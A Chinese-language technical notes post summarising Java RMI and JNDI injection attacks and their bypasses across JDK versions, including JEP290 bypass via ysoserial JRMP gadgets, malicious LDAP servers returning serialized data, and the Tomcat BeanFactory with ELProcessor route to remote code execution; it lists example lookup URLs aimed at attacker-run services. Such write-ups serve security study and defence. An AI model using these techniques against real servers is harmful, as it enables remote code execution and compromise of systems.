本篇原理分析较少,主要是总结梳理攻击,绕过手法
前置知识
RMI调用流程
RMI基于反序列化,每次数据交换都存在序列化-反序列化操作,由此延伸出对三端的攻击手法
JNDI攻击手法
通常 JNDI 注入攻击的都是 lookup 方法的执行者,一般步骤如下:
- 目标机器中调用了
InitialContext.lookup(URL)
,且 URL 为用户可控 - 攻击者控制这个 URL 为一个恶意的 RMI 服务地址:
rmi://hack:port/name
或者ldap://xxx/xxx
- 恶意 RMI/ldap 服务会返回一个含有恶意 factory 的 Reference 对象或者直接返回恶意序列化数据
- JNDI 注入可以通过 RMI 方式和 LDAP 方式来达到攻击效果。
- javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
- org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
jdk8u121
这个版本主要是ban掉了RMI的一些打法
- 从jdk8u121开始,RMI加入了反序列化白名单机制(JEP290)
- 在jdk8u121之后,对于Reference加载远程代码,jdk的信任机制,在通过rmi加载远程代码的时候,会判断环境变量
com.sun.jndi.rmi.object.trustURLCodebase
是否为true,而其在121版本及后,默认为false。RMI远程Reference代码攻击方式开始失效
白名单绕过(JEP290绕过)
可以看这篇:RMI-JEP290的分析与绕过 - 安全客,安全资讯平台
为了绕过JEP290,ysoserial里面的JRMPClient链子,通过UnicastRef这个在RMI反序列化白名单内的gadget进行攻击:
- 用
ysoserial
启动一个恶意的JRMPListener
- 受害者启动注册中心(RMI Registry)
- 攻击者启动Client调用
bind()
操作 - 注册中心(受害者)被反序列化攻击
如果我们可以控制 UnicastRef 中 LiveRef 所封装的 host、端口等信息,我们就可以发起一个任意的 JRMP 连接请求,这其实就是 ysoserial 中的 payloads.JRMPClient 的原理。
实际上ysoserial这个JRMPClient和JRMPListener就是利用JRMP协议对打
攻击过程:
后续修复和绕过:
- 绕过的修复版本:jdk8u231,在JDK8u231的
dirty
函数中多了setObjectInputFilter
过程,所以用UnicastRef
就没法再进行绕过了。 1.
修复版本的绕过:国外安全研究人员@An Trinhs
发现了一个gadgets利用链,能够直接反序列化UnicastRemoteObject
造成反序列化漏洞。参考:RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析 - 360CERT
在上面的 Bypass 中,UnicastRef 类用了一层包装,通过递归的形式触发反序列化;通过 DGCClient 向 JRMPListener 发起 JRMP 请求,而这条 Gadget 是直接利用一次反序列化发起 JRMP 请求
2.
绕过的修复版本:jdk8u241,在调用UnicastRef.invoke
之前,做了一个检测。声明方法的类,必须要实现Remote
接口,然而这里的RMIServerSocketFactory
并没有实现,于是无法进入到invoke方法,直接抛出错误。
使用ldap
在这个版本还没有ban掉ldap的Reference对象和ldap直接返回恶意序列化数据
服务端Object参数暴露
这个其实就是正常RMI Client攻击Server的手法。
例如,远程调用的接口 RemoteInterface 存在一个 sayGoodbye 方法的参数是 Object 类型。
RMI的传输100%基于反序列化,那我们就直接可以传一个反序列化 payload 进去执行反序列化。
如果参数不是Object还有后续绕过:
由于攻击者可以完全控制客户端,因此他可以用恶意对象替换从Object类派生的参数(例如String)有几种方法:
将java.rmi软件包的代码复制到新软件包,然后在其中更改代码
将调试器附加到正在运行的客户端,并在序列化对象之前替换对象
使用Javassist之类的工具更改字节码
通过实现代理来替换网络流上已经序列化的对象
也被su18师傅称为替身攻击:
大体的思路就是调用的方法参数是 HelloObject,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。
afanti师傅用的是通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler
类的InvokeRemoteMethod
方法的第三个参数非Object的改为Object的gadget。他的项目地址在RemoteObjectInvocationHandler。
jdk8u191
这个版本ban掉了ldap的Reference对象
在jdk8u191之后,加入LDAP远程Reference代码信任机制,LDAP远程代码攻击方式开始失效,也就是系统变量
com.sun.jndi.ldap.object.trustURLCodebase
默认为false(CVE-2018-3149)
高版本绕过主要有两种方式:
-
LDAP Server 直接返回恶意序列化数据,但需要目标环境存在 Gadget 依赖
-
使用本地 Factory 绕过(主要是利用了
org.apache.naming.facotry.BeanFactory
类)
ldap直接返回序列化数据
- 搭建恶意LDAP Server,可以直接改 marshalsec 里面的:
- 受害者 lookup 方法参数可控,执行 ldap://xxx/xxx
利用本地 Factory 绕过
在 Reference 类中的 factory Class,要求实现 ObjectFactory 接口,在 "NamingManager#getObjectFactoryFromReference" 方法中的逻辑是这样的:
- 优先从本地加载 factory,这就要求 factory Class 在本地的 ClassPath 中
- 本地加载不到会从 codebase 处加载,但是由于高版本 jdk 默认不信任 codebase,在一般情况下无法利用
- 在加载完 factory 之后会强制类型转换为
javax.naming.spi.ObjectFactory
接口类型,之后调用factory.getObjectInstance()
方法
所以如果找可以利用的 factory 就要满足下面的要求:
-
在目标的 ClassPath 中,且实现了
javax.naming.spi.ObjectFactory
接口 -
其
getObjectInstance
方法可以被利用
(其中一条Gadget)这个可用的 factory 类为 org.apache.naming.BeanFactory
,位于 tomcat 的依赖包中,此外,这个 factory 绕过需要搭配 javax.el.ELProcessor
执行任意的 EL 表达式来完成 RCE,依赖:
|
|
Reference
如何绕过高版本 JDK 的限制进行 JNDI 注入利用 - 安全客